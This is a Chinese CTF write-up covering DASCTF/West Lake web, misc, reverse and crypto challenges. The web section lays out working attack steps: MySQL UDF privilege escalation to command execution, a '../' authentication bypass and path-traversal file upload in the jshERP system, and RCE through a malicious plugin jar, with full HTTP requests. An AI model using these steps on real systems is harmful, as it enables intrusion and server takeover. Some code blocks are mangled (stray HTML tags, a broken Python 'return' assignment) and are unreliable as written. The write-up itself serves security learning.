前言 看来现在CTF中直接不出PHP了吗?要出就是出顶级难度的了,我咧个豆,西湖论剑队友通天带我了,真有点猛,复现Java的过程当中还是学到不少东西的,希望下次能够自己独立完成出来吧
WriteUp
Web
only_sql
一看可以连恶意mysql读文件
可以读到源码,格式化后如下
存在注释的密码
1 2 3 4 5 //mine\n //$db_host=\'127.0.0.1\';\n //$db_username=\'root\';\n //$db_password=\'1q2w3e4r5t!@#\';\n //$db_name=\'mysql\';\n\n
则可以直接连接进行操作,发现慢日志没办法提示给了LOAD DATA
尝试写文件发现写不进去于是尝试UDF提权
先读取插件存在的位置
1 show variables like 'plugin_dir' ;
得到插件目录为/usr/lib/mysql/p1ugin
然后进行UDF恶意文件加载(注意是so
)
1 2 3 4 SELECT 0x7f454c4 ... INTO DUMPFILE '/usr/lib/mysql/p1ugin/udfa.so' ;select * from mysql.func where name = "sys_exec"; # 查看create function sys_eval returns string soname "udfa.so";# 创建函数绑定dllselect sys_eval("whoami");# 调用函数进行命令执行
然后查看当前环境变量出flag(我真找了两个小时的flag和提权的方式我真的受不了了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST / query.php HTTP/ 1.1 Host: 1.14 .108 .193 :31358 Content- Length: 31 Cache- Control: max- age= 0 Upgrade- Insecure- Requests: 1 Origin: http:/ / 1.14 .108 .193 :31358 Content- Type: application/ x- www- form- urlencodedUser - Agent: Mozilla/ 5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 115.0 .5790 .171 Safari/ 537.36 Accept: text/ html,application/ xhtml+ xml,application/ xml;q= 0.9 ,image/ avif,image/ webp,image/ apng,*
EZerp
这个题先放出之前审的ERP的文章,因为这个题是考ERP的,之前审过,但并不是最新版的,审的是2.3的版本,而最新的3.1版本的改了蛮多功能点的,所以这个题我觉得出的还是不错的,让我再次回顾了下关于ERP的内容吧
Java审计 - 华夏ERP 分析 系统就存在一个 fliter
在 LogCostFilter
里面会检查 session
来判断用户是否登录,如果没有登录就会让他重定向到 login.html
审计
权限绕过 可以发现这个拦截器是根据
1 String requestUrl = servletRequest.getRequestURI();
获取的内容来进行判断的,然后根据获取到的requestUrl
来进行是否进行拦截,并且并不是检索最后,而是使用了contains()
方法,又因为getRequestURI()
方法是完全获取URI的,并没有特殊字符的过滤(Java常见权限绕过的关键方法了) ,所以可以使用../
来进行权限绕过
正常管理员操作查询商品信息,这里删掉Cookie后被拦截器返回到login.html
在访问的路径中加入login.html/../
发现正常请求了
这个看了一下其他版本的都是通病吧,只要是用的是
1 String requestUrl = servletRequest.getRequestURI();
后续在西湖论剑的CTF当中就是个明显例子
这里也提一下吧,踩坑记录了属实是,主要是在本地vue起不来前端(难受得一),所以用权限绕过的方式来获取admin的token来进行后端的操作,可以先获取admin的账号密码(默认admin/123456)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /jshERP-boot/user/login HTTP/1.1 Host: 10.33.232.182:9999 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json Content-Length: 57 Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706798797; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706809824; JSESSIONID=BE0AA125744B2BF49540A1BE0FC541EB Origin: http://10.33.232.182:8080 Referer: http://10.33.232.182:8080/login.html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest {"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
获取到token后把token的值加入X-Access-Token
这个header中即可以管理员权限来操作了
X-Access-Token: 4ef85bce98444cefa6eae9e9d67cbeb5_0
SQL注入 由于华夏ERP使用的是mybatis,所以直接在对应的mapper文件中搜索${
即可
1 2 3 4 5 <dependency > <groupId > com.baomidou</groupId > <artifactId > mybatis-plus-boot-starter</artifactId > <version > 3.0.7.1</version > </dependency >
这可太多了
通过接口层 实现层 控制层,最后找到/Users/zjacky/Documents/Java_project/jshERP-2.3/src/main/java/com/jsh/erp/controller/ResourceController.java
在这个控制器中发现sql传入的点是可控的
文件上传 由于权限绕过了直接全局搜索upload
存在两个上传点
\jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\SystemConfigController.java
\jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\PluginController.java
第二个上传点在后续RCE说,这里直接看SystemConfig
的上传
发现是任意文件上传,并且接收biz
参数传递,然后跟进下uploadLocal
发现就是进行文件取名,但是后缀自定义,然后根据传入的biz
的路径进行上传,并且如果不存在目录就立刻创建该目录
(这里省略一个小时的环境配置时间—真操蛋)然后终于上传成功了,一个完美的可以跨越任意目录的任意文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /jshERP-boot/doc.html/../systemConfig/upload?biz=../../../../../../ HTTP/1.1 Host: 10.33.232.182:9999 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 X-Access-Token: d22cf07e24434e33a82e43a85be5b0bb_151076 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycrlhXpR4I81QZz0x Origin: http://10.33.232.182 Referer: http://10.33.232.182//upload/upload.html Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Content-Length: 652010 ------WebKitFormBoundarycrlhXpR4I81QZz0x Content-Disposition: form-data; name="file"; filename="1.jpg" Content-Type: image/jpeg xxx ------WebKitFormBoundarycrlhXpR4I81QZz0x--
RCE 这个点就有点意思了,在\jshERP-3.1\jshERP-boot\src\main\java\com\jsh\erp\controller\PluginController.java
用户可以上传一个符合格式的jar
包到这个接口,这里就会通过 uploadPluginAndStart
上传加载依赖
那么如果说我们能够传入恶意的jar
是不是就可以进行RCE了呢,那么现在的问题就成了: 如何构造一个恶意的插件是符合上传插件逻辑的
于是去查找官方文档,找各种资料各种百度各种搜索(这插件也太tmd难写了吧我真无语)
1 2 3 https://gitee.com/starblues/springboot-plugin-framework-parent https://www.yuque.com/starblues/spring-brick-3.0.0/vxwgye#gLJ40 https://gitee.com/starblues/springboot-plugin-framework-example
找了一个世纪,最后在github上才找到了这篇文章
https://github.com/thestyleofme/springboot-plugin-framework-parent
首先第一步,直接maven全编译打包一遍
1 mvn clean package -Dmaven.test.skip=true
为什么要整个项目全进行maven解析呢?是因为单个pom.xml解析的话会报这种错误
而整个项目编译则没问题,是因为他写的pom.xml这个找不到指定的依赖写在了该项目的别的分支项目的pom.xml中,所以整体打包的话就没有问题了
然后找到对应的插件进行修改
然后再次maven编译下用jadx去检查下对应的字节码文件发现没有问题打包成功了
但是这里有三个问题
仅仅只是加载类,但是并没有初始化,所以是不会执行静态代码的,但是在下面又存在初始化的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @PostMapping("/installByPath") public String install (@RequestParam("path") String path) { try { if (pluginOperator.install(Paths.get(path))){ return "installByPath success" ; } else { return "installByPath failure" ; } } catch (Exception e) { e.printStackTrace(); return "installByPath failure : " + e.getMessage(); } }
所以我们可以用路径的形式直接去访问我们传好的恶意的jar包
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /plugin/installByPath HTTP/1.1 Host: 10.33.232.182:8080 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 8 Content-Type: application/x-www-form-urlencoded Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706798797; JSESSIONID=F79B29228D4BD16B61B9C8C87AD9C81D; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706802472 Referer: http://10.33.232.182:8080/index.html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 X-Requested-With: XMLHttpRequest path=Y:\\151076\\basic-example-plugin2-1.0.7.RELEASE.jar
但是他会提示Plugin id can't be empty
修改MANIFEST.MF
(当然也可以直接用本项目生成好的-with-dependencies.jar
)
1 2 3 4 5 Plugin-Id: basic-example-plugin3 Implementation-Version: 1.0.8.RELEASE Plugin-Provider: isaacc Plugin-Version: 1.0.8.RELEASE Plugin-Class: com.basic.example.plugin2.DefinePlugin
要注意的点就是他一定要创建plugins
目录(系统之前已经安装过插件) 才能够将我们传入的jar部署上去
满足上述三点 再去初始化发现就加载进去然后弹出计算机了
CTF题目
先看提示
ezerp
hint1: plugins目录不存在
hint2: 附件新增一个 https://xjlh2024-1308232561.cos.ap-nanjing.myqcloud.com/WEB-ezerp.jar
首先前面是弱口令admin/123456可以进入后台的(所以虽然有权限绕过但是也可以不用),所以直接看后台的洞即可,找了自己审计的文章和网上最新版本公开的漏洞来对比分析,发现是存在任意文件上传的,但是并不知道web路径而且应该知道这个ERP是不解析jsp的,根据提示说plugins目录不存在,那么就可以通过上传去建立这个文件夹,然后通过上传Jar包来进行依赖的添加来导致RCE
权限绕过(但是好像不知道为啥突然弱口令就没了) 跟上述讲的一样,看他的拦截器如下
所以只需要带有/user/login/../
即可成功绕过权限了
什么都不加
加了/user/login/../../
后直接返回200
获取管理员的token
文件上传新建文件夹 1 http://1.14.108.193:32014/user/login/../../jshERP-boot/systemConfig/upload?biz=../../../../../../../../../../../../opt/plugins
直接去install我们上传的jar包 偷个图
Misc 2024签到题
下载下来看图片详情发暗号即可
数据安全-easy_tables
为了方便操作,将csv文件转化为json文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import pandas as pd df = pd.read_csv('tables.csv' ) json_data = df.to_json('tables..json' , orient='records' ) df = pd.read_csv('permissions.csv' ) json_data = df.to_json('permissions.json' , orient='records' ) df = pd.read_csv('users.csv' ) json_data = df.to_json('users.json' , orient='records' ) df = pd.read_csv('actionlog.csv' ) json_data = df.to_json('actionlog.json' , orient='records' )
根据指引的意思进行数据处理
tables.json 数据库的允许的操作时间,判断是否存在违规操作时间的行为
actionlog.json操作者的行为记录
permissions.json 操作权限信息表
users.json 操作人是否存在,记录操作者信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import pandas as pdimport refrom datetime import datetimeclass DataProcessor : def __init__ (self, action_log_path, user_path, table_path, permission_path ): self.action_logs = pd.read_json(action_log_path) self.users = pd.read_json(user_path) self.tables = pd.read_json(table_path) self.permissions = pd.read_json(permission_path) def get_user_info (self, username ): user_row = self.users[self.users['账号' ] == username] if user_row.empty: return None return user_row.iloc[0 ] def get_table_info (self, table_name ): table_row = self.tables[self.tables['表名' ] == table_name] if table_row.empty: return None return table_row.iloc[0 ] def get_permission_info (self, group_id ): permission_row = self.permissions[self.permissions['编号' ] == group_id] if permission_row.empty: return None return permission_row.iloc[0 ] def time_in_range (self, time_str, start, end ): current = datetime.strptime(time_str, '%H:%M:%S' ) start_time = datetime.strptime(start, '%H:%M:%S' ) end_time = datetime.strptime(end, '%H:%M:%S' ) return start_time <= current <= end_time def analyze_logs (self ): flags = [] for _, action_log in self.action_logs.iterrows(): user_info = self.get_user_info(action_log['账号' ]) if not user_info: print (f"{action_log['编号' ]} 用户不存在 0_0_0_{action_log['编号' ]} " ) flags.append(f"0_0_0_{action_log['编号' ]} " ) continue action = re.search(r'\b(insert|update|delete|select)\s(\S+)' , action_log['执行操作' ], re.IGNORECASE) if action: table_info = self.get_table_info(action.group(2 )) if not table_info: continue permission_info = self.get_permission_info(user_info['所属权限组编号' ]) if not permission_info: continue if str (table_info['编号' ]) not in permission_info['可操作表编号' ].split(',' ): flags.append(f"{user_info['编号' ]} _{user_info['所属权限组编号' ]} _{table_info['编号' ]} _{action_log['编号' ]} " ) continue if action_log['执行操作' ].split()[0 ].lower() not in permission_info['可操作权限' ].split(',' ): flags.append(f"{user_info['编号' ]} _{user_info['所属权限组编号' ]} _{table_info['编号' ]} _{action_log['编号' ]} " ) continue time_ranges = table_info['可操作时间段(时:分:秒)' ].split(',' ) if not any (self.time_in_range(action_log['操作时间' ][-8 :], *r.split("~" )) for r in time_ranges): flags.append(f"{user_info['编号' ]} _{user_info['所属权限组编号' ]} _{table_info['编号' ]} _{action_log['编号' ]} " ) flags.sort(key=lambda x: int (x.split('_' )[0 ])) return "," .join(flags)if __name__ == "__main__" : processor = DataProcessor("actionlog.json" , "users.json" , "tables.json" , "permissions.json" ) result = processor.analyze_logs() print (result)
md5生成flag
1 2 3 4 5 6 7 8 9 10 import hashlib text = "0_0_0_6810,0_0_0_8377,6_14_91_6786,7_64_69_3448,9_18_61_5681,30_87_36_235,31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011" md5_hash = hashlib.md5(text.encode()).hexdigest()print (md5_hash)
1 flag{271b1ffebf7a76080c7a6e134ae4c929}
easy_rawraw
passware kit 可以得到用户的密码,密码1
1 ADMIN\Administrator das123admin321
既然和密码有关,vol搜密码
导出压缩包后解压,分离png,根据备注猜测密码20240210,拿到pass.txt,密码2
卡了很久无果,让学弟用010搜下password
找到了密码
使用这个密码解密rar
加上pslist看到了VeraCrypt,搭配密码2挂载解密,得到xlsx
最后使用密码1得到flag
Reverse
MZ
IDA反编译打开
内容比较简单,首先要求输入48位长度的字符串,然后通过字符串的ASCII值查表判断, 过了判断后,下边还有个MD4用于验证字符串的正确性。 通过调试把表格扒下来,然后编写脚本,看得出来需要使用回溯算法来确定,但是我搓了半个小时没搞出来,然后只能自己手动。 脚本如下:
中间手动探索过程省略。。。。
这道题还有一个关键信息是flag是一个有意义的字符串,也就是说看起来像个句子,通过这个在手动判断的时候先找看着像的,不行再手动回溯。 值得一提的时候最后两个字符会有区别,需要通过MD4来判断 flag:Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 char flag[100 ] = {};unsigned int begin_t [100 ] = {};int ebp_t = 0 ;int cum (int begin,int end,int round) { int j = 0 ; for (char i = 32 ;i < 127 ;i++){ j = i * 2 + begin; if (ida_chars[j] - 5 <span style="font-weight: bold;" class="mark" > i || ida_chars[j] + 5 </span> i){ flag[round] = i; if (flag[1 ] <span style="font-weight: bold;" class="mark" > 'V' )continue ; if (flag[2 ] </span> '_' || flag[2 ] <span style="font-weight: bold;" class="mark" > '/' )continue ; if (flag[4 ] </span> '9' || flag[4 ] <span style="font-weight: bold;" class="mark" > 'n' || flag[4 ] </span> 'r' )continue ; if (flag[6 ] </span> 'C' )continue ; if (flag[7 ] <span style="font-weight: bold;" class="mark" > '&' )continue ; if (flag[7 ] </span> '6' )continue ; if (flag[8 ] <span style="font-weight: bold;" class="mark" > 'A' )continue ; if (flag[8 ] </span> '^' )continue ; if (flag[9 ] </span> '/' )continue ; if (flag[10 ] <span style="font-weight: bold;" class="mark" > 'M' )continue ; if (flag[11 ] <span style="font-weight: bold;" class="mark" > ')' )continue ; if (flag[12 ] </span> ',' )continue ; if (flag[13 ] <span style="font-weight: bold;" class="mark" > 'T' )continue ; if (flag[13 ] </span> 'f' )continue ; if (flag[14 ] </span> '.' )continue ; if (flag[16 ] <span style="font-weight: bold;" class="mark" > '%' )continue ; if (flag[16 ] </span> '&' )continue ; if (flag[17 ] <span style="font-weight: bold;" class="mark" > '5' )continue ; if (flag[17 ] </span> 'P' )continue ; if (flag[17 ] <span style="font-weight: bold;" class="mark" > 'T' )continue ; if (flag[20 ] <span style="font-weight: bold;" class="mark" > '*' )continue ; if (flag[20 ] </span> '5' )continue ; if (flag[20 ] <span style="font-weight: bold;" class="mark" > '7' )continue ; if (flag[21 ] <span style="font-weight: bold;" class="mark" > '4' )continue ; if (flag[21 ] </span> 'Z' )continue ; if (flag[21 ] <span style="font-weight: bold;" class="mark" > 'h' )continue ; if (flag[24 ] <span style="font-weight: bold;" class="mark" > 'C' )continue ; if (flag[25 ] </span> '<' )continue ; if (flag[27 ] </span> '&' )continue ; if (flag[27 ] <span style="font-weight: bold;" class="mark" > 'U' )continue ; if (flag[28 ] <span style="font-weight: bold;" class="mark" > '+' )continue ; if (flag[29 ] </span> '.' )continue ; if (flag[29 ] <span style="font-weight: bold;" class="mark" > '3' )continue ; if (flag[29 ] </span> 'k' )continue ; if (flag[30 ] <span style="font-weight: bold;" class="mark" > 'G' )continue ; if (flag[30 ] </span> 'O' )continue ; if (flag[31 ] == '=' )continue ; if (flag[32 ] <span style="font-weight: bold;" class="mark" > ']' )continue ; if (flag[34 ] </span> '&' )continue ; if (flag[34 ] <span style="font-weight: bold;" class="mark" > ':' )continue ; if (flag[34 ] </span> 'A' )continue ; if (flag[34 ] <span style="font-weight: bold;" class="mark" > 'E' )continue ; if (flag[35 ] <span style="font-weight: bold;" class="mark" > 'A' )continue ; if (flag[36 ] </span> '!' )continue ; if (flag[36 ] <span style="font-weight: bold;" class="mark" > '#' )continue ; if (flag[37 ] </span> '+' )continue ; if (flag[38 ] <span style="font-weight: bold;" class="mark" > '.' )continue ; if (flag[38 ] </span> '`' )continue ; if (flag[39 ] <span style="font-weight: bold;" class="mark" > '(' )continue ; if (flag[40 ] </span> 'd' )continue ; if (flag[41 ] <span style="font-weight: bold;" class="mark" > '(' )continue ; if (flag[42 ] </span> '2' )continue ; if (flag[42 ] <span style="font-weight: bold;" class="mark" > ';' )continue ; if (flag[42 ] </span> 'D' )continue ; if (flag[44 ] <span style="font-weight: bold;" class="mark" > 'a' )continue ; if (flag[46 ] </span> 'G' )continue ; break ; } } return j; };
BabyCPP
线性反馈移位寄存器生成伪随机数+魔改RC4
通过IDA反编译看到对输入有两个加密,对于密码明文一个加密
第一个是线性反馈移位寄存器生成伪随机数
通过动态调试之后还原了加密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned int keys[] = {0x67452301 ,0xEFCDAB89 ,0x98BADCFE ,0x10325476 };const unsigned int k = 0xDEADBEEF ;unsigned int cum = 0 ;unsigned int v1 = 0x34333231 ;unsigned int v2 = 0x38373635 ;unsigned int key = 0 ;for (int i = 0 ;i < 256 ;i++){ key = keys[cum & 3 ]; v1 = ((((v2>>7 )^(v2<<2 ))+v2)^(key+cum))+v1; key = keys[(cum >> 0xB ) & 3 ]; v2 = ((((v1>>3 )^(v1<<6 ))+v1)^(key+cum))+v2; cum = cum + k; }
Keys和k是在进入函数前赋的值
通过该加密函数可以推导出解密函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void decrypt (unsigned int v1, unsigned int v2) { unsigned int keys[] = {0x67452301 ,0xEFCDAB89 ,0x98BADCFE ,0x10325476 }; unsigned int cum = 0xadbeef00 ; const unsigned int k = 0xDEADBEEF ; unsigned int key = 0 ; for (int i = 0 ;i < 256 ;i++){ cum = cum - k; key = keys[(cum >> 0xB ) & 3 ]; v2 = v2 - ((((v1>>3 )^(v1<<6 ))+v1)^(key+cum)); key = keys[cum & 3 ]; v1 = v1 - ((((v2>>7 )^(v2<<2 ))+v2)^(key+cum)); } printf ("0x%x,0x%x," ,v1,v2); }
在验证前还有第二轮魔改rc4加密
从此处大概还原了加密代码
1 2 3 4 5 6 7 8 9 10 11 for j in range (48 ) : i+=1 v1 = (v1 + (s_box[i] % 0x100 )) % 0x100 s_box[i], s_box[v1] = s_box[v1], s_box[i] v2 = (s_box[i] + s_box[v1]) % 0x100 plaintext[j] = (((s_box[v2]) ^ plaintext[j]) + s_box[i] ^ s_box[v1]) % 0x100
很显然是魔改的RC4,同时我们从内存中获取RC4初始化后的S盒
我们可以利用该S盒写出解密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for j in range (48 ) : i+=1 v1 = (v1 + (s_box[i] % 0x100 )) % 0x100 s_box[i], s_box[v1] = s_box[v1], s_box[i] v2 = (s_box[i] + s_box[v1]) % 0x100 plaintext[j] ^= s_box[v1] plaintext[j] = (plaintext[j] + 0x100 - s_box[i]) % 0x100 plaintext[j] = ((s_box[v2]) ^ plaintext[j])
再利用动态调试获取到最后的密文放入解密代码中
画红色框处是对密文进行魔改RC4解密
把RC4解密后的密文再放入另一个解密函数中
由于是小端序组成的值,我们还需要对此处理然后转化为flag
最后获得flag
df8d8ab87c22a396041f9bde6a40c4987c22a396041f9bde
数据安全
Cyan-1
谷歌找到文章
https://zh.moegirl.org.cn/zh-hk/%E8%B5%9B%E5%B0%8F%E7%9B%90
看着写就行
恭喜您通过考试! DASCTF1{3ac9edfef8f89edd768ae839f3488c46}
DASCTF{93071110885044812621524662463525}
Crypto
Or2cle
过proof,跑了几个数据进行搜索
https://oeis.org/
查询发现,计算a(n)=binomial(n,14)即可过proof
题目是aes ctr模式,padding oracle attack,密文长度是42,
根据规则可得,原本密文长度为40,2个字节的pad,pad 为b’ \x02’
明文和密文已知的情况下获取密钥,得到密钥之后就可以解密密文得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *from Crypto.Util.number import bytes_to_long,bytes_to_longfrom pwn import *from hashlib import sha256 from base64 import b64decode context.clear(arch='amd64' , os='linux' , log_level='debug' ) li = lambda content,data : print ('\x1b[01;38;5;214m' + content + ' = ' + hex (data) + '\x1b[0m' ) lg = lambda content : print ('\x1b[01;38;5;214m' + content +'\x1b[0m' ) sla = lambda data, content: io.sendlineafter(data,content) sa = lambda data, content: io.sendafter(data,content) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) re = lambda data: io.recv(data) sa = lambda data, content: io.sendafter(data,content) dbg = lambda : gdb.attach(io) bk = lambda : (dbg(),pause()) inter = lambda : io.interactive() l64 = lambda :u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) h64=lambda :u64(io.recv(6 ).ljust(8 ,b'\x00' )) add=0 orw_shellcode = asm(shellcraft.open ('flag' ) + shellcraft.read(3 , add, 0x30 ) + shellcraft.write(1 ,add, 0x30 ))def dbg (c = 0 ): if (c): gdb.attach(io, c) pause() else : gdb.attach(io) pause() libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) filename = "./pwn" io =remote("1.14.108.193" ,"31132" ) elf = ELF(filename) strings = "DASCTF{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" def calculate_combination (n, k ): if k < 0 or k > n: return 0 if k <span style="font-weight: bold;" class ="mark" > 0 or k </span> n: return 1 k = min (k, n - k) result = 1 for i in range (k): result = result * (n - i) // (i + 1 ) return result flag = "" n = u32(rl("s : " ).strip().split(b' ' )[-1 ]) rl("hash:" ) sl(str (sha256(str (calculate_combination(n+13 , 14 )).encode()).hexdigest())) rl(b"it\n" ) sl(b"1" ) a = rl('\'' ).decode().split('\'' )[0 ][-32 :] after64 = b64decode(a) for index in range (0 , 42 ): if index <span style="font-weight: bold;" class ="mark" > 16 or index </span> 32 : continue for i in strings: rl("t\n" ) sl(b"2" ) tmp_char = chr (after64[index] ^ ord (i) ^ 2 ) modified_tmp = after64[:index] + tmp_char.encode('latin1' ) + after64[index+1 :] sl(modified_tmp) rl("Dec" ) return = sh.recvuntil("\n" ).decode().splitlines()[1 ] if "faild" not in return : continue print ("[+]" ,a) flag += i break print (flag)
得到flag
DASCTF{771128198258295514986624D2445186}
d用数字替换